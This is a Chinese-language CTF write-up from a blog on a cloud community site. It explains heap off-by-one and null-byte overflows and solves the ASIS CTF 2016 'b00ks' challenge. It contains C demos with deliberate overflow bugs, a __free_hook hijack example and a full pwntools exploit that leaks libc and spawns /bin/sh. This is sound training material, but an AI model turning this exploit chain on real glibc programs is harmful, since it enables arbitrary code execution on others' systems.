前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Heap-Off_By_One及经典b00ks解析

Heap-Off_By_One及经典b00ks解析

作者头像
偏有宸机
发布2020-11-04 10:58:12
9300
发布2020-11-04 10:58:12
举报
文章被收录于专栏:宸机笔记宸机笔记宸机笔记

原理

在使用循环向堆块中写入数据时,在循环设置错误后 导致多写入了一个字节,而产生的漏洞

off-by-one可以是基于各种缓冲区之上(如stack、.bss)的,但是这里的是指heap

利用思路

溢出字节为可控制字节

通过修改大小造成块结构之间出现重叠,从而泄露其它块数据,或是覆盖其它块数据

例:

//gcc -g fance_error.c -o fance
int my_gets(char *ptr,int size)
{
    int i;
    for(i=0;i<=size;i++)
    //从0开始循环到16,就导致循环了17次
    {
        ptr[i]=getchar();
    }
    return i;
}
int main()
{
    void *chunk1,*chunk2;
    chunk1=malloc(16);
    chunk2=malloc(16);
    printf("chunk1_Addr %p\n",chunk1);
    printf("chunk2_Addr %p\n",chunk2);
    puts("Get Input:");
    my_gets(chunk1,16);
    puts("over!");
    return 0;
}
//abcdefghijklmnopqrstuvwxyz

可以看到已经覆盖了0x602020的一字节

Null字节溢出

在size为0x100的时候,溢出null字节可以使得 prive_in_use位被清,这样前块会被认为是free块。

  1. 可以选择使用unlink方法进行处理。
  2. 此时的prive_size域会启用,就可以伪造prive_size,从而造成块之间发生重叠。

此方法的关键在于 unlink 的时候没有检查按照 prev_size 找到的块的后一块(理论上是当前正在 unlink 的块)与当前正在 unlink 的块大小是否相等。

例:

//gcc -g null_bytes.c -o null_bytes
int main(void)
{
    char buffer[40]="";
    void *chunk1;
    chunk1=malloc(24);
    printf("chunk1_Addr %p\n",chunk1);
    puts("Get Input");
    gets(buffer);
    if(strlen(buffer)==24)
    {
        strcpy(chunk1,buffer);
        //strcpy函数会将buffer的"\x00"带上,导致此时的chunk1实际上是读取了25bytes
    }
    puts("over!");
    return 0;

}

正常情况下可以看到最后一位应该是0x0411,而在上面却被\x00所覆盖

Asis_CTF_2016_b00ks

攻击流程图

任意地址读写

用IDA打开分析源码,可以看到在由于对边界的考虑不当,导致会多读取一个\x00字节,当我们创建book1结构体的时候,会让结构体的地址覆盖掉这个\x00,从而致使我们能直接读取到book1结构体的地址。

在确定住author_name的地址后,使用gdb打开输入author_name的内容填充满32字节,再创建一个book结构体

此时使用gdb查看authour_name的地址

book结构体已经将author_name第33字节的\x00所覆盖导致再打印书本的时候,直接能让程序输出book结构体的地址,而book1结构体的地址上的0x55555557574200x5555555757440则分别是我们输入的book_name的aaaa和book_desc的bbbb。

当我们再创建一个book时,可以得知book2的结构体距离book1有0x70字节大小(由于我调试了多次,所以在EXP中的偏移与此时的不同)

继续运行后,选择change current author name修改authorname后,再次查看author_name的地址

可以看到author_name第33字节上的\x00已经将book1结构体的地址的最后一字节给覆盖了

而假设我们创建book1时,给name_size申请足够大的空间,那么被覆盖最后一字节为”\x00”的book1结构体地址就有可能落在book1的desc的空间中,从而我们就有机会利用edit a book来修改desc的内容,来实现任意地址读写

可以看到当我们申请的name_size在200大小时,book1结构体的地址就已经落在了book1的desc空间中,再拿0x555555757500-0x5555557574f0=0x10,也就是book1结构体地址距离desc的偏移量

再看,此时的name_size的大小是200的话,距离book1结构体地址的距离是0x10,那我们设置name_size为216时,便是正好指向我们的结构体了

而book2的desc地址也可以由book2结构体的地址-book1结构体的地址+0x10得出

利用mmap泄露libc基地址

当申请的内存空间比较大时,空间将由mmap进行分配,而mmap分配的内存与libc的基地址存在一个固定的偏移,也就是说我们拿分配的地址-固定偏移量,就可以得到libc基地址

在exp中我申请的是0x21000大小的desc空间

劫持free_hook获取shell

关于free_hook

#include<stdio.h>
#include<stdlib.h>
#include<string.h>

extern void (*__free_hook) (void *__ptr,const void *);

int main()
{
	char *str = malloc(160);
	strcpy(str,"/bin/sh");
	
	printf("__free_hook: 0x%016X\n",__free_hook);
	// 劫持__free_hook
	__free_hook = system;
    printf("system: 0x%016X\n",system);
    printf("__free_hook: 0x%016X\n",__free_hook);
	free(str);

	return 0;
}

可以简单的理解为,当__free_hook地址上的内容不为空时,free操作将执行该地址上的内容

所以当我们free("/bin/sh")时就等于system("/bin/sh")

关于free_hook详细的利用原理可以看EX师傅的文章 http://blog.eonew.cn/archives/521

题中利用

在book1的desc中伪造结构体时,我们可以将book2的name和desc调转过来,也就是fake_book中的desc与book2中的name相对应,这样在后面的修改book2的desc时便可以一起修改上book2的name指向。

将book2中的name改写为bin_sh、desc改写为free_hook后再利用edit desc功能改写free_hook上的内容为system的地址。

最后在delete book时,代码中的free(book2_struct+8)由于free_hook不为空的原因,执行的就相当于system("/bin/sh")

EXP

# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.terminal = ["tmux","splitw","-h"]
global sh 
sh = process("./b00ks")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

def create(name_size,book_name,desc_size,book_desc):
    sh.recvuntil(">")
    sh.sendline("1")
    sh.sendlineafter("Enter book name size: ",name_size)
    sh.sendlineafter("Enter book name (Max 32 chars): ",book_name)
    sh.sendlineafter("Enter book description size: ",desc_size)
    sh.sendlineafter("Enter book description: ",book_desc)
def delete_book(book_id):
    sh.recvuntil(">")
    sh.sendline("2")
    sh.sendlineafter("Enter the book id you want to delete: ",book_id)
def edit_book(book_id,desc):
    sh.recvuntil(">")
    sh.sendline("3")
    sh.sendlineafter("Enter the book id you want to edit: ",book_id)
    sh.sendlineafter("Enter new book description: ",desc)
def print_book():
    sh.recvuntil(">")
    sh.sendline("4")
def change_author(author_name):
    sh.recvuntil(">")
    sh.sendline("5")
    sh.sendlineafter("Enter author name: ",author_name)

### 泄露book1_struct地址
sh.recvuntil("Enter author name: ")
sh.sendline("da1sy_author".ljust(32,"a"))
create("216","book1_name","216","book1_desc")
print_book()
#gdb.attach(sh)
sh.recvuntil("da1sy_author".ljust(32,"a"))
book1_struct_addr = u64(sh.recv(6).ljust(8,"\x00"))
success("book1_struct_addr => 0x%x",book1_struct_addr)

###利用mmap泄露book2_name\book2_desc地址上的数据
create("135168","book2_name","135168","book2_desc") #0x21000
#利用mmap来分配大空间,该空间的地址与libc有固定的偏移,以获取libc基地址
book2_struct_addr = book1_struct_addr+0x30
book2_name_addr = book2_struct_addr +0x8
book2_desc_addr = book2_struct_addr +0x10
success("book2_name_addr => 0x%x",book2_name_addr)
success("book2_desc_addr => 0x%x",book2_desc_addr)
payload = p64(1)+p64(book2_desc_addr)+p64(book2_name_addr)+p64(0xffff)
edit_book("1",payload)
#将book2的desc和name地址写入到book1的name和desc中,由于后续我们需要利用book2_name这个地址来修改上面的数据,
#所以这里要反过来填写
change_author("da1sy_author".ljust(32,"a"))
#修改author_name 使null字节覆盖到book1_struct的地址上,
#让book1_struct指向book1_desc中伪造的结构体
print_book()
sh.recvuntil("Name: ")
book2_desc = u64(sh.recv(6).ljust(8,"\x00"))
sh.recvuntil("Description: ")
book2_name = u64(sh.recv(6).ljust(8,"\x00"))
success("book2_name => 0x%x",book2_name)
success("book2_desc => 0x%x",book2_desc)

###利用已知的mmap所分配的book2_desc泄露libc的基地址
#gdb.attach(sh)
libc_base = book2_desc - 0x58e010
#可以在这里先下个断点,在GDB中确认book2_desc距离libc_base的偏移
success("libc_base => 0x%x",libc_base)

###劫持free_hook getshell
binsh_addr = libc_base + libc.search("/bin/sh").next()
system_addr = libc_base + libc.sym["system"]
free_hook_addr = libc_base + libc.sym["__free_hook"]
success("binsh_addr => 0x%x",binsh_addr)
success("system_addr => 0x%x",system_addr)
success("free_hook_addr => 0x%x",free_hook_addr)
payload = p64(binsh_addr)+p64(free_hook_addr)
edit_book("1",payload)
# 将book1的desc中伪造的结构体中的book2_name 指向bin_sh和free_hook
# 由于将name与desc调换了位置,所以我们修改book2_name时,只要在book2_name+8的位置上填充上free_hook,
# 便可以覆盖掉book2_name的desc
edit_book("2",p64(system_addr))
# 再将book2中的desc指向的free_hook地址替换为system
# 那么就等于将free_hook指向的地址修改为system
delete_book("2")
#当执行delete操作时
# 因为free_hook不为空,所以在free时将执行free_hook中的函数system
# 也就是 free(name) = free("/bin/sh") = system("/bin/sh")
sh.interactive()

学习参考: https://blog.csdn.net/qin9800/article/details/104996493 https://finch1.gitee.io/2020/02/02/asis-ctf-2016-b00ks/ https://www.jianshu.com/p/68e8144fe068 https://bbs.pediy.com/thread-246507.htm

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2020-09-21,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 原理
  • 利用思路
    • 溢出字节为可控制字节
      • Null字节溢出
      • Asis_CTF_2016_b00ks
        • 攻击流程图
          • 任意地址读写
            • 利用mmap泄露libc基地址
              • 劫持free_hook获取shell
                • 关于free_hook
                • 题中利用
              • EXP
              领券
              问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档